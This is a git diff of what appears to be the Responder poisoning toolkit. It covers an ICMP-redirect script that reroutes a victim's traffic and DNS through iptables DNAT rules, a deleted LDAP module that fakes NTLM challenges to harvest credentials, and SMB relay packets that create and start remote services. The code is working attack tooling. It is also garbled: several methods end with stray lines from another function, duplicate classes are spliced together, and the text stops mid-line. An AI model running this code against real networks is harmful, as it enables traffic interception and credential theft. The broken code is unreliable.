parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
@@ -42,7 +42,7 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
options, args = parser.parse_args()
-if options.OURIP is None:
+if options.Responder_IP is None:
print "-i mandatory option is missing.\n"
parser.print_help()
exit(-1)
@@ -68,10 +68,10 @@ if options.ToThisHost is None:
exit(-1)
if options.AlternateGwAddr is None:
- AlternateGwAddr = options.OURIP
+ AlternateGwAddr = options.Responder_IP
#Setting some vars.
-OURIP = options.OURIP
+Responder_IP = options.Responder_IP
OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr
VictimIP = options.VictimIP
@@ -84,7 +84,7 @@ def Show_Help(ExtraHelpData):
help+= ExtraHelpData
print help
-MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
+MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP)
class Packet():
fields = OrderedDict([
@@ -135,7 +135,7 @@ class ARPWhoHas(Packet):
def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
- self.fields["SenderIP"] = inet_aton(OURIP)
+ self.fields["SenderIP"] = inet_aton(Responder_IP)
#####################################################################
#ICMP Redirect Packets
@@ -188,7 +188,7 @@ class ICMPRedir(Packet):
def calculate(self):
#Set the values
- self.fields["GwAddr"] = inet_aton(OURIP)
+ self.fields["GwAddr"] = inet_aton(Responder_IP)
# Then CheckSum this packet
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -244,7 +244,7 @@ def IcmpRedirectSock(DestinationIP):
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
- RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
+ RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
if ToThisHost2 == None:
Show_Help(MoreHelp)
IcmpRedirectSock(DestinationIP=ToThisHost)
@@ -253,9 +253,9 @@ def FindWhatToDo(ToThisHost2):
def RunThisInLoop(host, host2, ip):
dns1 = pipes.quote(host)
dns2 = pipes.quote(host2)
- ouripadd = pipes.quote(ip)
- call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
- call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
+ Responder_IPadd = pipes.quote(ip)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
while True:
IcmpRedirectSock(DestinationIP=dns1)
diff --git a/LDAPPackets.py b/LDAPPackets.py
deleted file mode 100644
index 7de4409..0000000
--- a/LDAPPackets.py
+++ /dev/null
@@ -1,238 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-class LDAPSearchDefaultPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLen", "\x0c"),
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x0f"),
- ("OpHeadASNID", "\x65"),
- ("OpHeadASNIDLen", "\x07"),
- ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
- ])
-
-class LDAPSearchSupportedCapabilitiesPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x15"),#21
- ("SearchAttribASN2Str", "supportedCapabilities"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x16"),#22
- ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x17"),#23
- ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x17"),#23
- ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPSearchSupportedMechanismsPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x17"),#23
- ("SearchAttribASN2Str", "supportedSASLMechanisms"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x06"),#6
- ("SearchAttrib1ASNStr", "GSSAPI"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x0a"),#10
- ("SearchAttrib2ASNStr", "GSS-SPNEGO"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x08"),#8
- ("SearchAttrib3ASNStr", "EXTERNAL"),
- ("SearchAttrib4ASNID", "\x04"),
- ("SearchAttrib4ASNLen", "\x0a"),#10
- ("SearchAttrib4ASNStr", "DIGEST-MD5"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPNTLMChallenge(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x61"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
- ("Status", "\x0A"),
- ("StatusASNLen", "\x01"),
- ("StatusASNStr", "\x0e"), #In Progress.
- ("MatchedDN", "\x04\x00"), #Null
- ("ErrorMessage", "\x04\x00"), #Null
- ("SequenceHeader", "\x87"),
- ("SequenceHeaderLenOfLen", "\x81"),
- ("SequenceHeaderLen", "\x82"), #188
- ("NTLMSSPSignature", "NTLMSSP"),
- ("NTLMSSPSignatureNull", "\x00"),
- ("NTLMSSPMessageType", "\x02\x00\x00\x00"),
- ("NTLMSSPNtWorkstationLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
- ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
- ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
- ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("NTLMSSPNtTargetInfoLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
- ("NegTokenInitSeqMechMessageVersionLow","\x02"),
- ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
- ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
- ("NTLMSSPNtWorkstationName","SMB12"),
- ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
- ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
- ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
- ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
- ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
- ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
- ])
-
- def calculate(self):
-
- ##Convert strings to Unicode first...
- self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-
- ###### Workstation Offset
- CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
- ###### AvPairs Offset
- CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
- ###### LDAP Packet Len
- CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-
- OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- ##### LDAP Len Calculation:
- self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
- self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
- self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
-
- ##### Workstation Offset Calculation:
- self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("i", len(''.join(payload)))
- return length
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x08"),
- ("flag2", "\x01\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x3c\x1b"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNegoData(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x54\x00"),
- ("separator1","\x02" ),
- ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
- ("separator2","\x02"),
- ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
- ])
- def calculate(self):
- CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
- self.fields["bcc"] = struct.pack("i", len(''.join(payload)))
- return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
+ ("errorcode", "\x00\x00\x00\x00"),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
- ("pid", "\x00\x4e"),
- ("uid", "\x00\x08"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
@@ -285,7 +278,6 @@ class SMBDCESVCCTLOpenManagerW(Packet):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
-
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
@@ -332,8 +324,6 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
-
-
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
@@ -361,120 +351,4 @@ class SMBDCESVCCTLStartService(Packet):
def ParseAnswerKey(data,host):
key = data[73:81]
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
- return key
-
-##################################################################################
-#SMB Server Stuff
-##################################################################################
-
-#Calculate total SMB packet len.
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-#Set MID SMB Header field.
-def midcalc(data):
- pack=data[34:36]
- return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
- pack=data[32:34]
- return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
- pack=data[30:32]
- return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
- pack=data[28:30]
- return pack
-
-#SMB Header answer packet.
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00" ),
- ("flag1", "\x80"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\xff\xfe"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-#SMB Negotiate Answer packet.
-class SMBNegoAns(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x11"),
- ("Dialect", ""),
- ("Securitymode", "\x03"),
- ("MaxMpx", "\x32\x00"),
- ("MaxVc", "\x01\x00"),
- ("Maxbuffsize", "\x04\x11\x00\x00"),
- ("Maxrawbuff", "\x00\x00\x01\x00"),
- ("Sessionkey", "\x00\x00\x00\x00"),
- ("Capabilities", "\xfd\x43\x00\x00"),
- ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
- ("Keylength", "\x08"),
- ("Bcc", "\x10\x00"),
- ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
- ("Domain", ""),
-
- ])
-
- def calculate(self):
-
- ##Then calculate.
- CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
- self.fields["Bcc"] = struct.pack(" Payload goes here...